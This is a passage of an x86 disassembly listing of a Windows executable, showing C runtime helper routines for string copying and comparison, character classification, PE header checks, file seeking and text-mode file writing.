		cmp	[ebp+arg_C], ebx
		push	edi
		jnz	short loc_40CC16
		cmp	esi, ebx
		jnz	short loc_40CC1A
		cmp	[ebp+arg_4], ebx
		jnz	short loc_40CC21

loc_40CC0F:				; CODE XREF: sub_40CBF6+4Dj
					; sub_40CBF6+8Cj
		xor	eax, eax

loc_40CC11:				; CODE XREF: sub_40CBF6+44j
					; sub_40CBF6+9Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40CC16:				; CODE XREF: sub_40CBF6+Ej
		cmp	esi, ebx
		jz	short loc_40CC21

loc_40CC1A:				; CODE XREF: sub_40CBF6+12j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_40CC3C

loc_40CC21:				; CODE XREF: sub_40CBF6+17j
					; sub_40CBF6+22j ...
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi

loc_40CC2B:				; CODE XREF: sub_40CBF6+B1j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40CC11
; ---------------------------------------------------------------------------

loc_40CC3C:				; CODE XREF: sub_40CBF6+29j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40CC45
		mov	[esi], bl
		jmp	short loc_40CC0F
; ---------------------------------------------------------------------------

loc_40CC45:				; CODE XREF: sub_40CBF6+49j
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		jnz	short loc_40CC50
		mov	[esi], bl
		jmp	short loc_40CC21
; ---------------------------------------------------------------------------

loc_40CC50:				; CODE XREF: sub_40CBF6+54j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		mov	eax, esi
		jnz	short loc_40CC67

loc_40CC58:				; CODE XREF: sub_40CBF6+6Dj
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_40CC80
		dec	edi
		jnz	short loc_40CC58
		jmp	short loc_40CC80
; ---------------------------------------------------------------------------

loc_40CC67:				; CODE XREF: sub_40CBF6+60j
					; sub_40CBF6+81j
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_40CC79
		dec	edi
		jz	short loc_40CC79
		dec	[ebp+arg_C]
		jnz	short loc_40CC67

loc_40CC79:				; CODE XREF: sub_40CBF6+79j
					; sub_40CBF6+7Cj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40CC80
		mov	[eax], bl

loc_40CC80:				; CODE XREF: sub_40CBF6+6Aj
					; sub_40CBF6+6Fj ...
		cmp	edi, ebx
		jnz	short loc_40CC0F
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_40CC99
		mov	eax, [ebp+arg_4]
		push	50h
		mov	[esi+eax-1], bl
		pop	eax
		jmp	loc_40CC11
; ---------------------------------------------------------------------------

loc_40CC99:				; CODE XREF: sub_40CBF6+92j
		mov	[esi], bl
		call	sub_405B83
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40CC2B
sub_40CBF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCA9	proc near		; CODE XREF: sub_40ED77+32p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_40CCC0
		xor	eax, eax
		jmp	loc_40CD5A
; ---------------------------------------------------------------------------

loc_40CCC0:				; CODE XREF: sub_40CCA9+Ej
		cmp	ebx, 4
		push	edi
		jb	short loc_40CD3B
		lea	edi, [ebx-4]
		test	edi, edi
		jbe	short loc_40CD3B
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]

loc_40CCD3:				; CODE XREF: sub_40CCA9+66j
		mov	dl, [eax]
		add	eax, 4
		add	ecx, 4
		test	dl, dl
		jz	short loc_40CD31
		cmp	dl, [ecx-4]
		jnz	short loc_40CD31
		mov	dl, [eax-3]
		test	dl, dl
		jz	short loc_40CD27
		cmp	dl, [ecx-3]
		jnz	short loc_40CD27
		mov	dl, [eax-2]
		test	dl, dl
		jz	short loc_40CD1D
		cmp	dl, [ecx-2]
		jnz	short loc_40CD1D
		mov	dl, [eax-1]
		test	dl, dl
		jz	short loc_40CD13
		cmp	dl, [ecx-1]
		jnz	short loc_40CD13
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], edi
		jb	short loc_40CCD3
		jmp	short loc_40CD52
; ---------------------------------------------------------------------------

loc_40CD13:				; CODE XREF: sub_40CCA9+58j
					; sub_40CCA9+5Dj
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		jmp	short loc_40CD63
; ---------------------------------------------------------------------------

loc_40CD1D:				; CODE XREF: sub_40CCA9+4Cj
					; sub_40CCA9+51j
		movzx	eax, byte ptr [eax-2]
		movzx	ecx, byte ptr [ecx-2]
		jmp	short loc_40CD63
; ---------------------------------------------------------------------------

loc_40CD27:				; CODE XREF: sub_40CCA9+40j
					; sub_40CCA9+45j
		movzx	eax, byte ptr [eax-3]
		movzx	ecx, byte ptr [ecx-3]
		jmp	short loc_40CD63
; ---------------------------------------------------------------------------

loc_40CD31:				; CODE XREF: sub_40CCA9+34j
					; sub_40CCA9+39j
		movzx	eax, byte ptr [eax-4]
		movzx	ecx, byte ptr [ecx-4]
		jmp	short loc_40CD63
; ---------------------------------------------------------------------------

loc_40CD3B:				; CODE XREF: sub_40CCA9+1Bj
					; sub_40CCA9+22j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		jmp	short loc_40CD52
; ---------------------------------------------------------------------------

loc_40CD43:				; CODE XREF: sub_40CCA9+ACj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_40CD5D
		cmp	dl, [ecx]
		jnz	short loc_40CD5D
		inc	eax
		inc	ecx
		inc	[ebp+var_4]

loc_40CD52:				; CODE XREF: sub_40CCA9+68j
					; sub_40CCA9+98j
		cmp	[ebp+var_4], ebx
		jb	short loc_40CD43
		xor	eax, eax

loc_40CD59:				; CODE XREF: sub_40CCA9+BCj
		pop	edi

loc_40CD5A:				; CODE XREF: sub_40CCA9+12j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CD5D:				; CODE XREF: sub_40CCA9+9Ej
					; sub_40CCA9+A2j
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]

loc_40CD63:				; CODE XREF: sub_40CCA9+72j
					; sub_40CCA9+7Cj ...
		sub	eax, ecx
		jmp	short loc_40CD59
sub_40CCA9	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_40CD84:				; CODE XREF: .text:0040CD91j
		mov	al, [edx]
		or	al, al
		jz	short loc_40CD93
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_40CD84
; ---------------------------------------------------------------------------

loc_40CD93:				; CODE XREF: .text:0040CD88j
		mov	esi, [ebp+8]
		mov	edi, edi

loc_40CD98:				; CODE XREF: .text:0040CDA5j
		mov	al, [esi]
		or	al, al
		jz	short loc_40CDAA
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_40CD98
		lea	eax, [esi-1]

loc_40CDAA:				; CODE XREF: .text:0040CD9Cj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDB0	proc near		; CODE XREF: sub_405A0A+93p
					; sub_406D87+34Dp ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		movzx	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 8000h
		cmp	[ebp+var_4], 0
		jz	short locret_40CDE4
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40CDE4:				; CODE XREF: sub_40CDB0+2Bj
		leave
		retn
sub_40CDB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CDE6	proc near		; CODE XREF: sub_409217+6CBp
					; sub_409217+B85p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40CDB0
		pop	ecx
		pop	ecx
		retn
sub_40CDE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDF4	proc near		; CODE XREF: sub_405A0A+32p
					; sub_40A7DB+81p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		call	sub_402ADF
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebx+1]
		cmp	eax, 100h
		ja	short loc_40CE22
		mov	eax, [ebp+var_18]
		mov	eax, [eax+0C8h]
		movzx	eax, word ptr [eax+ebx*2]
		jmp	short loc_40CE97
; ---------------------------------------------------------------------------

loc_40CE22:				; CODE XREF: sub_40CDF4+1Dj
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_40CDB0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40CE53
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_8], al
		mov	[ebp+var_7], bl
		mov	[ebp+var_6], 0
		pop	ecx
		jmp	short loc_40CE5D
; ---------------------------------------------------------------------------

loc_40CE53:				; CODE XREF: sub_40CDF4+4Bj
		xor	ecx, ecx
		mov	[ebp+var_8], bl
		mov	[ebp+var_7], 0
		inc	ecx

loc_40CE5D:				; CODE XREF: sub_40CDF4+5Dj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	1
		push	eax
		call	sub_40C8A4
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40CE93
		cmp	[ebp+var_C], al
		jz	short loc_40CE8F
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40CE8F:				; CODE XREF: sub_40CDF4+92j
		xor	eax, eax
		jmp	short loc_40CEA7
; ---------------------------------------------------------------------------

loc_40CE93:				; CODE XREF: sub_40CDF4+8Dj
		movzx	eax, [ebp+var_4]

loc_40CE97:				; CODE XREF: sub_40CDF4+2Cj
		and	eax, [ebp+arg_4]
		cmp	[ebp+var_C], 0
		jz	short loc_40CEA7
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_40CEA7:				; CODE XREF: sub_40CDF4+9Dj
					; sub_40CDF4+AAj
		pop	ebx
		leave
		retn
sub_40CDF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEAA	proc near		; CODE XREF: sub_407EC9+Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_427E5C, eax
		retn
sub_40CEAA	endp

; ---------------------------------------------------------------------------

loc_40CEB4:				; DATA XREF: sub_40CEC4:loc_40CF29o
		push	dword ptr [esp+4]
		call	ds:off_41D11C
		xor	eax, eax
		inc	eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC4	proc near		; CODE XREF: sub_405C31+26p
					; sub_405CE4+78p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	14h
		push	offset dword_421A70
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	dword_427E5C
		call	sub_405543
		pop	ecx
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_40CF3A
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_407CB6
		pop	ecx
		cmp	eax, edi
		jz	short loc_40CF02
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4031FD
		add	esp, 14h

loc_40CF02:				; CODE XREF: sub_40CEC4+2Fj
		cmp	[ebp+var_1C], 1
		jz	short loc_40CF29
		push	offset aKernel32_dl_10 ; "kernel32.dll"
		call	ds:dword_41D0E0	; GetModuleHandleA
		cmp	eax, edi
		jz	short loc_40CF29
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	ds:off_41D0E8
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_40CF2E

loc_40CF29:				; CODE XREF: sub_40CEC4+42j
					; sub_40CEC4+51j
		mov	esi, offset loc_40CEB4

loc_40CF2E:				; CODE XREF: sub_40CEC4+63j
		push	esi
		call	sub_4054D7
		pop	ecx
		mov	dword_427E5C, eax

loc_40CF3A:				; CODE XREF: sub_40CEC4+21j
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		jmp	short loc_40CF79
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		xor	ecx, ecx
		cmp	eax, 0C0000017h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_24], 0C0000017h
		jnz	short loc_40CF75
		push	8
		call	ds:dword_41D170	; RtlRestoreLastWin32Error

loc_40CF75:				; CODE XREF: sub_40CEC4+A7j
		and	[ebp+var_20], 0

loc_40CF79:				; CODE XREF: sub_40CEC4+84j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
sub_40CEC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CF90	proc near		; CODE XREF: sub_40D002+16p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	5A4Dh
		jz	short loc_40CF9E

loc_40CF9B:				; CODE XREF: sub_40CF90+19j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40CF9E:				; CODE XREF: sub_40CF90+9j
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	short loc_40CF9B
		xor	ecx, ecx
		cmp	word ptr [eax+18h], 10Bh
		setz	cl
		mov	eax, ecx
		retn
sub_40CF90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CFC0	proc near		; CODE XREF: sub_40D002+27p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		movzx	eax, word ptr [ecx+14h]
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+6]
		xor	edx, edx
		test	esi, esi
		push	edi
		lea	eax, [eax+ecx+18h]
		jbe	short loc_40CFFC
		mov	edi, [esp+0Ch+arg_4]

loc_40CFE2:				; CODE XREF: sub_40CFC0+3Aj
		mov	ecx, [eax+0Ch]
		cmp	edi, ecx
		jb	short loc_40CFF2
		mov	ebx, [eax+8]
		add	ebx, ecx
		cmp	edi, ebx
		jb	short loc_40CFFE

loc_40CFF2:				; CODE XREF: sub_40CFC0+27j
		add	edx, 1
		add	eax, 28h
		cmp	edx, esi
		jb	short loc_40CFE2

loc_40CFFC:				; CODE XREF: sub_40CFC0+1Cj
		xor	eax, eax

loc_40CFFE:				; CODE XREF: sub_40CFC0+30j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D002	proc near		; CODE XREF: sub_4069F0+FFp
					; sub_407D29+Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421A90
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		mov	edx, 400000h
		push	edx
		call	sub_40CF90
		pop	ecx
		test	eax, eax
		jz	short loc_40D05F
		mov	eax, [ebp+arg_0]
		sub	eax, edx
		push	eax
		push	edx
		call	sub_40CFC0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40D05F
		mov	eax, [eax+24h]
		shr	eax, 1Fh
		not	eax
		and	eax, 1
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_40D068
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		xor	ecx, ecx
		cmp	eax, 0C0000005h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]

loc_40D05F:				; CODE XREF: sub_40D002+1Ej
					; sub_40D002+30j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		xor	eax, eax

loc_40D068:				; CODE XREF: sub_40D002+44j
		call	__SEH_epilog4
		retn
sub_40D002	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D06E	proc near		; CODE XREF: sub_40A15D+2EEp
					; sub_40A15D+3C8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_40F12D
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_40D0A3
		call	sub_405B83
		mov	dword ptr [eax], 9

loc_40D09D:				; CODE XREF: sub_40D06E+5Ej
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_40D0ED
; ---------------------------------------------------------------------------

loc_40D0A3:				; CODE XREF: sub_40D06E+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	ds:off_41D074
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_40D0CE
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_40D0CE
		push	eax
		call	sub_405BA9
		pop	ecx
		jmp	short loc_40D09D
; ---------------------------------------------------------------------------

loc_40D0CE:				; CODE XREF: sub_40D06E+4Bj
					; sub_40D06E+55j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_435700[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]

loc_40D0ED:				; CODE XREF: sub_40D06E+33j
		pop	edi
		pop	esi
		leave
		retn
sub_40D06E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0F1	proc near		; CODE XREF: sub_406B86+116p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset dword_421AB0
		call	__SEH_prolog4
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40D12A
		call	sub_405B96
		and	dword ptr [eax], 0
		call	sub_405B83
		mov	dword ptr [eax], 9

loc_40D121:				; CODE XREF: sub_40D0F1+66j
		mov	eax, esi
		mov	edx, esi
		jmp	loc_40D1FA
; ---------------------------------------------------------------------------

loc_40D12A:				; CODE XREF: sub_40D0F1+1Bj
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_40D138
		cmp	eax, dword_4356E8
		jb	short loc_40D159

loc_40D138:				; CODE XREF: sub_40D0F1+3Dj
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_40D121
; ---------------------------------------------------------------------------

loc_40D159:				; CODE XREF: sub_40D0F1+45j
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:435700h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jnz	short loc_40D19F
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		or	edx, 0FFFFFFFFh
		mov	eax, edx
		jmp	short loc_40D1FA
; ---------------------------------------------------------------------------

loc_40D19F:				; CODE XREF: sub_40D0F1+86j
		push	eax
		call	sub_40F19E
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_40D1CE
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D06E
		add	esp, 10h
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		jmp	short loc_40D1E8
; ---------------------------------------------------------------------------

loc_40D1CE:				; CODE XREF: sub_40D0F1+BFj
		call	sub_405B83
		mov	dword ptr [eax], 9
		call	sub_405B96
		mov	[eax], edi
		or	[ebp+var_24], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh

loc_40D1E8:				; CODE XREF: sub_40D0F1+DBj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D200
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_20]

loc_40D1FA:				; CODE XREF: sub_40D0F1+34j
					; sub_40D0F1+ACj
		call	__SEH_epilog4
		retn
sub_40D0F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D200	proc near		; CODE XREF: sub_40D0F1+FEp
					; DATA XREF: c.7ld2ih:00421AC8o
		push	dword ptr [ebp+8]
		call	sub_40F23E
		pop	ecx
		retn
sub_40D200	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=518h


sub_40D20A	proc near		; CODE XREF: sub_40D7D0+9Ap
					; sub_410957+BBp

var_594		= dword	ptr -594h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_56D		= byte ptr -56Dh
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_410		= byte ptr -410h
var_160		= byte ptr -160h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-518h]
		sub	esp, 594h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+518h+var_4], eax
		mov	eax, [ebp+518h+arg_4]
		push	esi
		xor	esi, esi
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_57C], eax
		mov	[ebp+518h+var_578], esi
		mov	[ebp+518h+var_580], esi
		jnz	short loc_40D246
		xor	eax, eax
		jmp	loc_40D7BA
; ---------------------------------------------------------------------------

loc_40D246:				; CODE XREF: sub_40D20A+33j
		cmp	eax, esi
		jnz	short loc_40D271
		call	sub_405B96
		mov	[eax], esi
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40D7BA
; ---------------------------------------------------------------------------

loc_40D271:				; CODE XREF: sub_40D20A+3Ej
		mov	esi, [ebp+518h+arg_0]
		push	ebx
		mov	ebx, esi
		and	ebx, 1Fh
		imul	ebx, 28h
		mov	eax, esi
		sar	eax, 5
		push	edi
		lea	edi, ds:435700h[eax*4]
		mov	eax, [edi]
		add	eax, ebx
		mov	cl, [eax+24h]
		add	cl, cl
		sar	cl, 1
		cmp	cl, 2
		mov	[ebp+518h+var_588], edi
		mov	[ebp+518h+var_56D], cl
		jz	short loc_40D2A8
		cmp	cl, 1
		jnz	short loc_40D2DB

loc_40D2A8:				; CODE XREF: sub_40D20A+97j
		mov	ecx, [ebp+518h+arg_8]
		not	ecx
		test	cl, 1
		jnz	short loc_40D2DB
		call	sub_405B96
		xor	esi, esi
		mov	[eax], esi
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		jmp	loc_40D7B0
; ---------------------------------------------------------------------------

loc_40D2DB:				; CODE XREF: sub_40D20A+9Cj
					; sub_40D20A+A9j
		test	byte ptr [eax+4], 20h
		jz	short loc_40D2F0
		push	2
		push	0
		push	0
		push	esi
		call	sub_40D06E
		add	esp, 10h

loc_40D2F0:				; CODE XREF: sub_40D20A+D5j
		push	esi
		call	sub_40D8F0
		test	eax, eax
		pop	ecx
		jz	loc_40D4F5
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 80h
		jz	loc_40D4F5
		call	sub_40574D
		mov	eax, [eax+6Ch]
		xor	ecx, ecx
		cmp	[eax+14h], ecx
		lea	eax, [ebp+518h+var_594]
		setz	cl
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		mov	esi, ecx
		call	ds:off_41D114
		test	eax, eax
		jz	loc_40D4F5
		test	esi, esi
		jz	short loc_40D343
		cmp	[ebp+518h+var_56D], 0
		jz	loc_40D4F5

loc_40D343:				; CODE XREF: sub_40D20A+12Dj
		call	ds:off_41D118
		and	[ebp+518h+var_568], 0
		cmp	[ebp+518h+arg_8], 0
		mov	esi, [ebp+518h+var_57C]
		mov	[ebp+518h+var_594], eax
		mov	[ebp+518h+var_58C], esi
		jbe	loc_40D762
		and	[ebp+518h+var_574], 0
		jmp	short loc_40D36C
; ---------------------------------------------------------------------------

loc_40D369:				; CODE XREF: sub_40D20A+2E0j
		mov	esi, [ebp+518h+var_58C]

loc_40D36C:				; CODE XREF: sub_40D20A+15Dj
		mov	al, [ebp+518h+var_56D]
		test	al, al
		jnz	loc_40D47D
		mov	al, [esi]
		xor	ecx, ecx
		cmp	al, 0Ah
		setz	cl
		movsx	eax, al
		push	eax
		mov	[ebp+518h+var_590], ecx
		call	sub_40CDE6
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3AB
		push	1
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_40F880
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D758
		jmp	short loc_40D3DB
; ---------------------------------------------------------------------------

loc_40D3AB:				; CODE XREF: sub_40D20A+185j
		mov	eax, [ebp+518h+var_57C]
		sub	eax, esi
		add	eax, [ebp+518h+arg_8]
		cmp	eax, 1
		jbe	loc_40D758
		push	2
		lea	eax, [ebp+518h+var_56C]
		push	esi
		push	eax
		call	sub_40F880
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D758
		inc	esi
		inc	[ebp+518h+var_574]

loc_40D3DB:				; CODE XREF: sub_40D20A+19Fj
		xor	eax, eax
		push	eax
		push	eax
		push	5
		lea	ecx, [ebp+518h+var_C]
		push	ecx
		push	1
		lea	ecx, [ebp+518h+var_56C]
		push	ecx
		push	eax
		push	[ebp+518h+var_594]
		inc	esi
		inc	[ebp+518h+var_574]
		mov	[ebp+518h+var_58C], esi
		call	ds:dword_41D134	; WideCharToMultiByte
		mov	esi, eax
		test	esi, esi
		jz	loc_40D758
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	esi
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	loc_40D74F
		mov	eax, [ebp+518h+var_568]
		add	[ebp+518h+var_578], eax
		cmp	eax, esi
		jl	loc_40D758
		cmp	[ebp+518h+var_590], 0
		jz	loc_40D4E1
		push	0
		lea	eax, [ebp+518h+var_568]
		push	eax
		push	1
		lea	eax, [ebp+518h+var_C]
		push	eax
		mov	eax, [edi]
		mov	[ebp+518h+var_C], 0Dh
		push	dword ptr [ebx+eax]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	loc_40D74F
